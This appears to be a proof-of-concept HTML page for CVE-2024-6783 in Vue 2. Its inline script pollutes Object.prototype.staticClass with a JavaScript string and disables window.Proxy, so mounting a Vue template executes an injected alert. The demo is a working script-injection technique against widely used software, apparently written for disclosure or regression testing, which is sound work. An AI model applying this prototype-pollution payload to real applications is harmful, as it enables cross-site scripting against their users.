<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <title>CVE-2024-6783</title>
  <script>
    window.Proxy = undefined // Not necessary, but helpfull in demonstrating breaking out into `window.alert`
    Object.prototype.staticClass = `alert("Polluted")`
  </script>
  <!-- Delete ".min" for console warnings in development -->
  <script src="../../dist/vue.js"></script>
</head>

<body>
  <div id="app"></div>
  <script>
    new window.Vue({
      template: `<div class="">Content</div>`,
    }).$mount('#app')
  </script>
</body>

</html>